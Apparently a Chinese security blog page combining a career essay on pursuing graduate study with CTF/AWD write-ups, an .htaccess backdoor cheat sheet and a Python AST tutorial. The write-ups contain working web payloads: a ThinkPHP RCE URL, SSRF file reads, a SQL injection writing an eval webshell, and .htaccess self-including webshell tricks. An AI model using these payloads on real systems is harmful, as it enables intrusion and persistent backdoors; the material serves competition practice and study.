o_o ....

Introduce

博客已经大半年没更新了,我也已经大半年没怎么碰技术了,就写一篇水文吧,没啥技术干货,讨论讨论如今的形式
和一些我自己的的想法

最近也很多人问我为什么要考研这个问题,说实话,在去年9月前我是从来没有过考研的想法的,我一直觉得干技术这口饭一定要多实践,技术水平工作经验为重,学校教的那点理论和基础知识与实践几乎没关系。这也是很多我身边的人的想法。

Social Background

为什么很多技术佬选择本科毕业就工作

当前社会可能对于学历的要求越来越高,当然这是社会上的普遍想法。我一直认为技术圈子是一个特殊的存在。计算机类专业或者更应该说是网安专业和其他的专业有着完全不同的区别。这也是很多圈子外的人,包括长辈们不好理解的一点。
其他专业不像计算机专业,本科期间没办法通过一个除学历外强有力的标志证明个人的能力,比如金融,教育。而计算机类专业除了学历以外可以通过技术水平来判断一个人的能力。这就好比像是修车工人,挖掘机工人这类技术工种。技术水平决定了这类人的上限而不是学历。所以网安圈子一直流行着“师傅”的尊称。可能表达的就是大家都是靠技术吃饭的。
所以我认为,网安专业更像是需要一定学历支持的技术专业。

还有很重要一点是,网安专业目前极度缺人
与计算机类不同,计算机类由于近年的扩招和宣传,基本社会上人人皆知计算机专业的优势,很多人涌入进来,开始慢慢趋于饱和。而网安是这两年才开始推动,很多院校刚开此专业,以及学生都还没毕业。再加上网安高水平人才很难培养,而社会需求量大,产生了很多专业红利

互联网大厂对于研发岗位并没有很严格的学历要求(华为除外),尤其是现在处于专业红利的网安,很多大厂的安全部门很难招到符合条件的网安人才,所以目前只要是本科学历,只要技术水平优秀走内推很大概率能过简历筛选,然后进入面试,对于技术水平过硬的但本科院校不太好的同学来说,进入到面试环节基本上就已经成功了。所以技术佬不担心院校较差的问题。而且很多大厂的定薪其实是看面试表现来的。大体分为白菜,sp,ssp三种。本科生和研究生的定薪标准其实是一样的。并不会因为是研究生而提薪。

所以,圈子内的师傅大部分都是早早实习,早早工作,早点获取工作经验,为了自己的技术水平而成长,国内大学教育与实践严重脱节导致了所有的专业知识几乎来自自学。学校对于网路安全的教育只是纸上谈兵,所以会发现很多学校的技术佬在大三甚至大二就开始了实习,目的就是趁早接触到专业实践内容。

加上互联网行业的高薪,今年大厂研发岗普遍定薪都在35w年薪以上(资料来自offershow)。本科毕业就有如此可观的一笔收入,对于很多普通家庭的同学来说是很吸引人的了

再加上上面提到的,本科生和研究生定薪标准是一样的,而本科开始工作的话 在其他同学研究生毕业时已经拥有至少三年的工作经验,对于互联网厂来说,三年工作经验无论是跳槽或者调薪(大部分厂一年1-2调)足以让自己的薪水提至少一半
(这段是我在字节论坛匿名发帖 是否要读研,下面的一个高赞回帖,而当时大部分的回帖都是,工作经验绝对大于学历)并且在步入社会一段时间后,基本没人会关注你的院校,而是关注你的工作经验,做过的项目等。

专业红利不仅仅在大厂体现,在体制内也有体现,目前全国各地公安都有对于网安人才的技术人才特招,符合要求的技术人才可以不用考行策,直接技术考核通过就可以进入公安编制。包括一线城市二线城市,而这类特招还很多时候还招不到人。 对于国企也是如此,之前帮某单位(国巨企业,世界前30强)北京总部护网的时候,其实单位技术人员基本上都是找的外包,本单位的技术人员基本上都是之前做计算机的调过去,厉害的技术人员很少。这类单位对于网安人才也是极度渴望的。如果有不错的人才那边领导都会尽量帮忙让你入职。

综上,由于网安专业的特殊性及其目前的专业红利,很多师傅选择本科直接就业大厂或者进体制都是很不错的

那为什么我要考研

可以这么说,我一直秉持着上面的想法,我觉得本科毕业能进入一个好的单位企业最好就直接工作。
而我下定决心读研,是很多方面综合起来的考虑,是比较个人主观的决定,并不适用大部分人,仅供参考

硬件吸引:我在去年八月份的时候看到了一篇某高校网安院宣传公众号,里面的硬件条件第一次吸引了我,我这个人比较看重硬件。本科阶段由于硬件环境差还有点痛苦,我一直梦想着一个很舒适的学习环境(尤其是住宿)。

环境影响:然后在之后的一些活动中,接触到了大量的学校外的安全圈师傅们,包括字节跳动的同事 r3kapig的队友 以及大量通过打比赛认识的师傅网友们,而我发现他们的院校很多都非常优异,而我个人的本科院校较为普通,这让我产生了想去名校看看的想法。

个人发展:我觉得我的技术水平其实远达不到我所要求的自己,而在公司中学习的知识并不是我想学的内容,我个人还是比较喜欢打打CTF,研究研究自己喜欢的安全问题,加上公司大小周的问题,其实留给自己的时间比较少,还是很向往学生时代的充满自学时间的时光,工作以后基本上都是为公司业务而工作,所以想继续当几年学生,多学一些想学的东西,多深造一下,多充实自己。 而且最近和一些其他师傅接触,很多师傅对静态代码分析这类学术内容很感兴趣,导致我也想去看看学术圈的网络安全(有机会的话),而读研也算是接触的一种方式

圈子外的认可:这点和上面相比其实并不重要,但也算考虑在内的一点,大学四年接触到的人除了圈子内还有很多圈子外的人,他们不搞技术,对于一个人也主要是以院校学历来评判,虽然我并不在乎要获取他们的认可。但如果能的话当然更好,我可能能因此获取更多的机会机遇,甚至可能是圈子内无法带给我的资源。

专业红利:如上所说,网安专业正处于专业红利当中,除了工作也包括考研,大量985/211院校网安专业刚刚开始招生,很多其他专业的考生(跨考生)并不知道,分数相比于传统计算机专业来说非常容易,而随着考研逐年越来越难的趋势,赶紧通过网安专业上岸一个名校可谓是机不可失时不再来,这也是我从一开始准备先工作几年再看看自己是否要考研的想法转变到直接裸辞准备22考研的直接原因

人脉资源:工作后接触到的人只有同事,读研三年期间我可以接触到更多与众不同的人脉资源,包括导师的资源,以及名校其他专业领域的优秀同学,之前某个师傅说过,做技术的不能只关注于技术,拓展其他领域其他专业的人脉也是个人发展不可或缺的一部分。甚至可能由此收获甜甜的💑

自由:这个其实和个人发展有一定的重合,工作后留给个人的时间可能会很少,我会把大部分的时间奉献给公司(当然这是我应该做的)但这样如果在圈子内有很好的一些创业机会,比赛活动,我会因此而错过。而我保持学生的自由身份,能参加更多这样的比赛活动甚至是创业机会。

顾虑的事情

决定读研虽然算是追求我自己想要的生活方式,但看似潇洒的决定其实有着很多顾虑。
如果读研期间导师很差怎么办,导师恶心我怎么办,课外时间很少怎么办
等我读完研出来,我三年前就开始工作的同学朋友们已经买房财富自由了,我那时候会不会后悔
研究生期间几乎没学到什么东西怎么办(当然这个要看自觉
三年的时间专业红利没了怎么办,到时候可能进大厂还更难

还有就是我最在乎的,我是考研不是保研,这意味着我至少要有半年以上的时间不怎么碰技术,而是花在应试教育上,我的技术水平绝对会大幅降低跟不上圈子的发展,这是我个人不能容忍的,但也无可奈何。而且考研也是有风险的,如果我没考上,那我这一年不是完全浪费?一年的时间足够让我技术水平倒退一大截

Afterword

包括在写文章的现在我也在考虑这些东西,但既然我已经辞职,就做好了破釜沉舟的打算,相比于选择工作可能这辈子会有遗憾,去考研哪怕没考上以后我都不会有遗憾。这点就已经够了

- Read More -
CTF,Web

introduction

有幸参与了祥云杯决赛,由于这次的AWD题目相对比较有意思,特此记录,线下AWD共放出2道Web环境,但由于其中一道不可抗拒的因素,在开始后不久就被主办方下线,所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方

第一个洞

首先用自己的AWD框架把源码下到本地,扔到D盾
图片.png
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

<?php

eval('?>' . file_get_contents('php://input'));

我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
图片.png

第二个洞

此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
图片.png
用网上公开的exp

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

并不能直接打成功,
图片.png
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
图片.png
图片.png

第三四五个洞

由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php

<?php
namespace app\home\controller; 
use think\Controller;
use think\Url;
use think\Config;
use think\Page;
use think\Verify;
use think\Db;
use think\Cache;
class Test extends Controller {
    
    public function index(){      
       $mid = 'hello'.date('H:i:s');
       //echo "测试分布式数据库$mid";
       //echo "<br/>";
       //echo $_GET['aaa'];       
         M('config')->master()->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('name');
       /*
       //DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']);
       $member = DB::name('member')->master()->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
       $member = DB::name('member')->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
    */   
//       echo "<br/>";
//       echo DB::name('member')->master()->where('mid','111')->value('name');
//       echo "<br/>";
//       echo DB::name('member')->where('mid','111')->value('name');
         echo C('cache.type');
    }  
    
    public function redis(){
        Cache::clear();
        $cache = ['type'=>'redis','host'=>'192.168.0.201'];        
        Cache::set('cache',$cache);
        $cache = Cache::get('cache');
        print_r($cache);         
        S('aaa','ccccccccccccccccccccccc');
        echo S('aaa');
    }
    public function dlfile($file_url, $save_to) {
            $ch = curl_init();  // 启动一个CURL会话
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch,CURLOPT_URL,$file_url);  // 要访问的地址
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $file_content = curl_exec($ch);  // 执行操作
            curl_close($ch);  // 关键CURL会话   
            $downloaded_file = fopen($save_to, 'w');
            fwrite($downloaded_file, $file_content);
            fclose($downloaded_file);
    }
    
    public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) {

        $m = mysqli_init();
        
        $conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport));
        $result = mysqli_query($m, $dbquery) or die(mysqli_error($conn));
        $data = mysqli_fetch_all($result, MYSQLI_ASSOC);
        var_dump($data);

        mysqli_close($m);

    }

    public function object_test($input) {
        $a = unserialize($input);
    }

    public function table(){
        $t = Db::query("show tables like '%tp_goods_2017%'");
        print_r($t);
    }
}

这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行

@round("http://172.20.5.1-30:6022")
def attack7(url):
    try:

        a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js")
        a = hh.http(url+"/public/js/jquery-1.10.3.min.js")
        flag =  a[2].strip()
        print "|"+flag+"|"
        submit_flag(flag)
    except Exception as e:
        print e
        pass
@round("http://172.20.5.1-30:6022")
def attack11(url):
    try:

        a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('\/flag');")

        flag = a[2].strip()
        flag = re.search(r"flag{.*?}",flag,re.S).group()
        print flag
        submit_flag(flag)
        print url
    except Exception as e:
        print e
        pass

mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。

反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了

第六个洞

<?php    
public function return_goods_list()
    {
        $where = " user_id=$this->user_id ";
        // 搜索订单 根据商品名称 或者 订单编号
        $search_key = trim(I('search_key'));
        if($search_key)
        {
            $where .= " and order_sn=$search_key";
        }
        $count = M('return_goods')->where($where)->count();
        $page = new Page($count,10);
        $list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select();
        $goods_id_arr = get_arr_column($list, 'goods_id');
        if(!empty($goods_id_arr))
            $goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name');
        $state = C('REFUND_STATUS');
        $this->assign('state',$state);
        $this->assign('goodsList', $goodsList);
        $this->assign('list', $list);
        $this->assign('page', $page->show());// 赋值分页输出
        return $this->fetch();
    }

很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported
图片.png

由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用

?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23

第七个洞

fetch函数文件包含

最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
图片.png

浏览runtime/temp/ma.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>

通过exp的url找到对应method

<?php 
public function header_cart_list()
    {
        $cartLogic = new CartLogic();
        $cartLogic->setUserId($this->user_id);
            $cart_result = $cartLogic->getUserCartList(0);
            if(empty($cart_result['total_price']))
                    $cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);
        
            $this->assign('cartList', $cart_result['cartList']); // 购物车的商品
            $this->assign('cart_total_price', $cart_result['total_price']); // 总计
        $template = I('template','header_cart_list');         
        return $this->fetch($template);         
    }

u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含

在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,

下面是官方对fetch函数的解释
图片.png
有点啰嗦,直接看源码吧。。

<?php   
    public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }

        // 模板不存在 抛出异常

        if (!is_file($template)) {
            
//            if(strstr($template,'pre_sell_list')){
//                header("Content-type: text/html; charset=utf-8");
//                exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
//            }
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);

    }

通过调试发现,上面代码4-7行,如果输入的参数无后缀,则

<?php
$template = MODULE_PATH.$template.".html"

也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtimetemp1.jpg
图片.png

当然这里绝路目录相对目录穿越目录及任意后缀都是可以的

summary

其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。

- Read More -
o_o ....

.htaccess

rewrite

Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg /flag.txt [NC]

/flag.txt相对于web路径,可以用来绕过路由限制或者当后门

SSI

.htaccess

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

1.shtml

<pre>
<!--#exec cmd="whoami" -->
</pre>

cgi

.htaccess

Options ExecCGI
SetHandler cgi-script

whoami.cgi(linux)

#!/bin/sh
whoami

calc.cgi(windows)

#!C:\Windows\System32\calc.exe
1

ErrorHandlerfile

同样相对web根目录, 也可以设为动态文件,比如shell.php,用来当后门

ErrorDocument 404 /flag    

handler

设置解析规则

<Files index.html>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>


自包含

访问任意php文件即可

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_REQUEST['evoA'])?>

配置权限

<Files ~ "^flag.txt$">
Order deny,allow
Allow from all
</Files>
# 允许可被访问

<Files ~ "^flag.txt$">
Order allow,deny
Deny from all
</Files>
# 不可被访问

php引擎

#开启php解析
php_flag engine On
#或
php_flag engine 1

#关闭php解析
php_flag engine Off
#或
php_flag engine 0

# 貌似不能覆盖apache2.conf中 Directory指令设置的engine

不允许在.htaccess文件中出现的指令(部分)

Alias

<Directory >
</Directory>

QQ图片20201116213537.png

- Read More -
Web,安全研究

Preface


抽象语法树(AST),即Abstract Syntax Tree的缩写。它是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。之所以说语法是抽象的,是因为这里的语法并不会表示出真实语法中出现的每个细节。


Python内置一个ast库,其中存在一些内置方法生成,遍历,获取,解析 Python代码并获取ast树,但ast库的官方文档过于简陋,基本上无法当作学习文档。


最简单的Demo


import ast
import astpretty
res = ast.parse("a = 1+1")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=BinOp(
                lineno=1,
                col_offset=4,
                end_lineno=1,
                end_col_offset=7,
                left=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=5, value=1, kind=None),
                op=Add(),
                right=Constant(lineno=1, col_offset=6, end_lineno=1, end_col_offset=7, value=1, kind=None),
            ),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0


astpretty是一个第三方库,用来美化输出ast树


上面的输出结果就是,a = 1 + 1 这句语句对应的ast树的可读形式,
其中Module(body(是所有语句dump出来都会有的,不用管
由于a = 1 + 1是一句赋值语句,所以第一层为 Assign语法
对于每一种结构语法,都会自己对应的语法属性,比如这里的Assign,就存在targets(赋值对象),value(被赋的值),而这些语法属性自己又包含了自己的属性,一层一层嵌套






需要注意的是对于某些表达式,python的ast的遍历顺序是从后到前,从外到内,这个与php的ast遍历顺序不同,有点反人类
比如

request.arg.get(123)
func(a[:5])


第一个获取到的ast对象是 get(123)
第二个获取到的也是函数 func()


当然除了打印ast树,我们也可以直接输出ast树对应的节点
1.png
假设有一道CTF题目

#secret.py
def func():
    flag = "xxxxxxxxxxxxxxxxxxxxxxxxx"
    # guess flag


假如我们可以运行一段py脚本,但是不允许读文件,执行系统命令,我们该如何获取flag?

#user.py
import secret


最简单的办法是py2的co_const
image.png
co_const属性,可以获得一个函数定义块中被定义的常量值
ast增加节点
那如果是Py3 或者 secret.py中的flag不以常量方式赋值怎么办呢
拿下面的secret.py举个例子,假设我们需要想办法获取flag的值

#secret.py
import uuid
def check():
  # Example
  flag = f"flag{{{uuid.uuid4()}}}"


现在我们允许读取文件,但是我们无法获取到uuid的值


我们可以修改ast树,在赋值的下面加一句print的ast树,然后调用ast的eval运行此函数


首先查看一个pring(flag)的ast节点


import ast
import astpretty
res = ast.parse("print(flag)")
astpretty.pprint(res)
Module(
    body=[
        Expr(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=11,
            value=Call(
                lineno=1,
                col_offset=0,
                end_lineno=1,
                end_col_offset=11,
                func=Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=5, id='print', ctx=Load()),
                args=[Name(lineno=1, col_offset=6, end_lineno=1, end_col_offset=10, id='flag', ctx=Load())],
                keywords=[],
            ),
        ),
    ],
    type_ignores=[],
)




我们模仿这个AST树,用python代码生成对应的ast结构


import ast
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)

然后把我们自己生成的节点,插入到check函数中


content = open("secret.py").read()
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)




由于print(flag)与赋值语句在同一层
而res.body[1]是函数定义结构,res.body[1].body即为函数体内,所以在此处插入res.body[1].body[0]是赋值语句,所以为insert(1,node)


ast.fix_missing_locations函数作用是自动修复 ast结构的偏移 行号等杂项,需要调用,否则会报
TypeError: required field "lineno" missing from stmt


最后只需要编译运行我们的ast树即可
exec(compile(res, '', 'exec'))


由于我们运行的语句相当于重新定义了一个check函数,所以还需要运行一遍check函数


整个文件结构如下


import ast
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()

ast修改节点

除了可以在下一行新增节点以外,我们还可以直接修改赋值节点,直接改为表达式节点将值输出


跟上面差不多,就不多介绍了


import ast
content = open("secret.py").read()
res = ast.parse(content)
value = res.body[1].body[0].value
func = ast.Name(id="print", ctx=ast.Load())
args = [value]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res.body[1].body[0] = node
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()




res.body[1].body[0].value 就是赋值表达式所赋的值

ast删除节点


body是一个list,把对应节点pop就行了

#secret.py
import uuid
def check():
  flag = f"flag{{{uuid.uuid4()}}}"
  flag = "88888"
  print(flag)
import ast
import astpretty
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.pop(1)
ast.fix_missing_locations(res)
astpretty.pprint(res)
exec(compile(res, '', 'exec'))
check()

遍历节点

以上内容只是对某单一节点进行修改,如果我们要修改所有某一特征节点时如何去做。
ast库提供了 visit方法,供开发者遍历所有节点


import ast
content = open("secret.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeVisitor):
def visit_Assign(self,node):
  print(node.value)
  return node
m = MyVisit()
m.visit(res)
<_ast.JoinedStr object at 0x02F2F6B8>
<_ast.Constant object at 0x02F2F928>


开发者需要定义一个ast.NodeVisitor的子类,然后定义对应的visit_结构类型方法,处理特定的结构。
然后创建这个类对象,调用visit方法。遍历AST树


但此类只能进行ast的输出,如果需要一边遍历一边修改ast,增删改等,就需要继承另一个子类ast.NodeTransformer
假如我们把所有常量数字改为字符串


我们先看看字符串和数字的ast结构


import ast
import astpretty
res = ast.parse("a = 123\nv='123'")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=7, value=123, kind=None),
            type_comment=None,
        ),
        Assign(
            lineno=2,
            col_offset=0,
            end_lineno=2,
            end_col_offset=7,
            targets=[Name(lineno=2, col_offset=0, end_lineno=2, end_col_offset=1, id='v', ctx=Store())],
            value=Constant(lineno=2, col_offset=2, end_lineno=2, end_col_offset=7, value='123', kind=None),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0




很明显,他们都属于Constant结构,完全对应里面的Value属性
需要注意的是,在老的python版本里,这些常量值分别属于
ast.Num, ast.Str而不是ast.Constant


所以这个数字转字符串的遍历类如下

#case.py
a = 123
b = "231445"
def s():
  c= 3124235213
#exp.py
import ast
import astunparse
content = open("case.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeTransformer):
def visit_Constant(self,node):
  if type(node.value) == int:
    node.value = str(node.value)
  return node
m = MyVisit()
node = m.visit(res)
print(astunparse.unparse(node))

a = '123'
b = '231445'
def s():
  c = '3124235213'
Process finished with exit code 0




astunparse是一个三方库,将ast树转化为python code


而如果需要删除ast节点就更简单了,在方法里return None即可

Introductionas

https://stackoverflow.com/questions/46388130/insert-a-node-into-an-abstract-syntax-tree
https://www.escapelife.site/posts/40a2fc93.html

- Read More -
CTF,Web

easycon

直接给了一句话木马
登上去看了好久没找到flag
发现bbbbbb.txt比较可疑,创建时间和其他文件一样,应该是出题人故意留的
图片.png
图片.png
图片.png


base64解发现是jpg图片头,python解码写个文件

data = 'xxxxxxxxxxxxxx'
import base64

open("1.jpg","wb").write(base64.b64decode(data))

图片.png

BlackCat

这道题有点脑洞了,扫目录啥的没发现,最后发现是背景音乐hex打开最后有源码
图片.png

<?php


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

比较敏感,感觉是数组绕过,本地试了还真是,当传入White-cat-monitor为数组时,$clandestine结果是NULL,那接下来就好办了,只需要传入Black-Cat-Sheriff和One-ear,本地计算一下hash一样就可以弹shell了

Easyphp2

http://183.129.189.60:10025/?file=GWHT.php
题目一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器
http://183.129.189.60:10025/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码

<?php
    ini_set('max_execution_time', 5);

        if ($_COOKIE['pass'] !== getenv('PASS')) {
            setcookie('pass', 'PASS');
            die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
        }
        ?>

            <h1>A Counter is here, but it has someting wrong</h1>

                <form>
                        <input type="""hidden" value="GWHT.php" name="file">
                                <textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
                                        <input type="""submit">
                                            </form>

                                                <?php
                                                    if (isset($_GET["count"])) {
                                                        $count = $_GET["count"];
                                                        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
                                                            die('hacker!');
                                                        }
                                                        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
                                                            }
                                                            ?>


</body>

</html>

需要知道一个环境变量,读/proc/self/environ一直报错,用intruder模块跑pid
跑到/proc/27/environ成功读到pass为GWHT
图片.png
然后直接传cmd命令弹shell

easyphp

访问首页发现是审计题

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

大概意思,首先每次访问会删除除index.php以外的所有文件
然后两个简单正则校验,用户可以传入文件名和文件内容写入文件
但是写入文件的后面会加上换行Hello,World

尝试1

写入Webshell,发现不解析


图片.png
出现这种情况,一般是配置文件中不允许执行php文件,(这道题应该是只允许index.php执行)
图片.png
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
由于.htaccess优先度高于主配置文件
我们第一反应想到,我们先写.htaccess在写入一句话木马,但是由于题目在访问前后会删除其他所有文件,此路不通

尝试2

通过.htaccess的一种后门,自包含形式获取Webshell

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);

.htaccess可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
trick1: #符号是注释
但是由于题目会在尾部加一个nhello world,我们需要注释尾部的内容,否者服务端会报错500(.htaccess不允许脏字符)
trick2: 符号可以转义换行
百度了一下没有找到多行注释,但我们可以通过符号转义换行,将最后一行和倒数第二行变为一行,然后#全部注释

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
# \
Hello, world

然后因为上面对content进行了一些正则,我们还是可以通过绕过正则,最终exp

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_POST[1])?>
# \
Hello, world

Getshell后flag在根目录,readfile('/flag')即可

Break the Wall

一开始感觉是FFI,后面发现不是
然后觉得像宝塔那篇,通过PWN来绕过disable_function,
https://xz.aliyun.com/t/7990
不会pwn,溜了

EasyJava

Java垃圾,溜了

easyser

看了一会没思路,现在在护网已经2:30了,头好晕感觉要猝死了,睡了睡了

- Read More -
This is just a placeholder img.